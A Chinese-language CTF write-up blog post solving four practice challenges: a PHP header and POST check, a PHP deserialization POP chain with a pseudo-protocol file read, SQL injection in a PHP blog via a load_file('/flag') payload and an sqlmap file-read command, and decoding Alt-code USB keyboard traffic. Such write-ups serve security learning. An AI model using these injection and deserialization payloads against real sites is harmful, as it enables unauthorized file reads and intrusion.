CTF Week10 WP

ez_unser

观察源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$UA = $_SERVER['HTTP_USER_AGENT'];
$os = stripos($UA, "Windows NT 5.1;");
$br = stripos($UA, "zilla/4.0");

if ($os == null) {
echo "<p>需要使用windows xp 系统的电脑才能访问!<br/> </p>";
exit;
}
if ($os && ($br == null)) {
echo "<p>这是什么未来浏览器?<br/> </p>";
exit;
}

if ($os && $br) {
echo "<h3>POST 这个browser的名字,然后用你想说的word来跟他道别吧<br/> </h3>";
$browser = $_POST['browser'];
$word = $_POST['word'];
if ($browser && $word) {
$br_bool = strcmp($browser, "IE");
$wo_bool = strcmp($word, "goodbye");
if ($br_bool) {
echo "不是这个browser <br />";
}
if ($wo_bool) {
echo "不是这个word <br />";
}
if ($br_bool == 0 && $wo_bool == 0) {
system("cat /flag");
}
}
}

先修改user-agent,把系统改成Windows NT 5.1;、浏览器改成Mozilla/4.0

再用post方式发送browser=IE&word=goodbye. 记得改成post的时候在headers里添加一项content-type: text/plain以识别发送出去的文本.

Source: 题库

http_ex

pop链的构造. 先调用__wakeup(),再传入__toString().

1
O:5:"ADMIN":1:{s:8:"resource";O:7:"handler":1:{s:3:"doc";O:6:"client":0:{}}}

然后这是假的flag. 用php伪协议读取一下flag.php的源码,发现真正flag的位置.

1
2
3
<?php
echo 'flag{Un53rial1z3_1s_v3rY_1nt3re5t|nG_6ut_th15_I5_a_f@ke_fL@g_lol}';
$flag='./Tru3Flag.php';

访问/Tru3Flag.php,获得flag.

Source: 题库

harrrd_sql^2

代码审计.

看名字应该是sql注入,不能确定. 附件有一份源码,下载后看到Database.php,确认服务器存在mysql数据库;接着看PostController.php

PostController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class PostController{
public $db;

public function __construct($db){
$this->db=$db;
}

function add($author,$title,$content){
$sql="INSERT INTO post SET author='$author',title='$title',content='$content'";
return (bool)mysqli_query($this->db->conn,$sql);
}

function show(){
$row=[];
$sql="SELECT * FROM post";
$res=mysqli_query($this->db->conn,$sql);
for ($i=0;$i<mysqli_num_rows($res);$i++){
$row[$i]=mysqli_fetch_assoc($res);
}
return $res?$row:false;
}

function get($id){
$sql="SELECT * FROM post WHERE id=$id";
$res=mysqli_query($this->db->conn,$sql);
return mysqli_fetch_assoc($res);
}
}

发现sql语句拼接,找到注入点.

通过sql的load_file函数可以读取文件.
在评论中发送',content=(load_file('/flag'))#拼接语句即可.

还有一种方式,使用sqlmap直接暴力尝试注入读文件.

1
sqlmap -u "http://***/read_post.php?action=add_comment&id=27" --data "author=aa&content=bb" --file-read "/flag"

Source: 题库

Alt

用WireShark打开文件,发现USB流量,以及“HID DESCRIPTOR”参数. 因此可以用tShark来提取数据.

找到该数据的格式为usbhid.data.

因此执行以下命令提取(以Windows上WireShark自带的tShark为例):

1
tshark -r keyboard.pcapng -T fields -e usbhid.data > out.txt

获得一串键盘流量.

键盘流量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005a0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
04005a0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
0400600000000000
0400000000000000
0400590000000000
0400000000000000
0400610000000000
0400000000000000
0400620000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
0400620000000000
0400000000000000
04005c0000000000
0400000000000000
04005a0000000000
0400000000000000
04005c0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005a0000000000
0400000000000000
04005f0000000000
0400000000000000
0400610000000000
0400000000000000
04005e0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
04005f0000000000
0400000000000000
04005b0000000000
0400000000000000
04005a0000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
04005e0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005c0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
04005e0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005a0000000000
0400000000000000
0400590000000000
0400000000000000
04005e0000000000
0400000000000000
04005c0000000000
0400000000000000
04005c0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
0400590000000000
0400000000000000
04005b0000000000
0400000000000000
0400600000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005a0000000000
0400000000000000
04005d0000000000
0400000000000000
0400590000000000
0400000000000000
04005c0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005c0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
04005d0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005d0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0000000000000000
0400000000000000
04005c0000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
04005f0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
04005f0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
04005c0000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
04005f0000000000
0400000000000000
04005a0000000000
0400000000000000
04005b0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
04005a0000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000

发现一些规律,前面的“0404”是按下Alt键的状态,而后面的两位键码也可以从以下文档的第5555页中找到.

然后按Alt键同时在小键盘输入数字的这种方法应该不陌生,就是输入unicode字符的方式.

现在只需要把Alt后面加上的编码对应的数字找出来,并且把这nn个数字连接成一个nn位整数即可.

注意里面还有没有按住Alt键直接输入的字符. 下面给出了一个C++示例代码,注意该代码并不完整,需要将输出的空格处补0,还需补上那些没有按住Alt键直接输入的字符.

点击查看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<bits/stdc++.h>
#define ll int
#define rg register
#define rll rg ll
#define put_ putchar(' ')
#define putn putchar('\n')
#define maxn 101
using namespace std;
ll cnta,cntb,sum;
char s[maxn];
char a[maxn],b[maxn];
int main()
{
freopen("in.txt","r",stdin);
while(~scanf("%s",s+1))
{
if(s[2]=='0') { if(sum) printf("\\u%4x",sum),sum=0;continue; }
if((s[5]=='0')&&(s[6]=='0')) continue; rg ll c=0;
if(s[5]>='a'&&s[5]<='f') c+=s[5]-'a'+10;
else c+=s[5]^'0'; c*=16;
if(s[6]>='a'&&s[6]<='f') c+=s[6]-'a'+10;
else c+=s[6]^'0'; sum=sum*10+(c-88)%10;
}
return 0;
}

得到一串Unicode编码,使用在线工具转换即可.

1
\u0066\u006c\u0061\u0067\u007b\u952e\u76d8\u6d41\u91cf\u005f\u0077\u0069\u0074\u0068\u005f\u0061\u006c\u0074\u005f\u548c\u7a97\u6237\u005f\u0031\u0035\u005f\u0035\u006f\u0030\u004f\u004f\u0030\u006f\u005f\u9177\u007d

Source:NewStar CTF 2024


CTF Week10 WP
本文链接:http://blog.ac1liu.tech/p/18528620.html
发布时间
2024年11月5日
许可协议
转载说明
请注明出处!
发表评论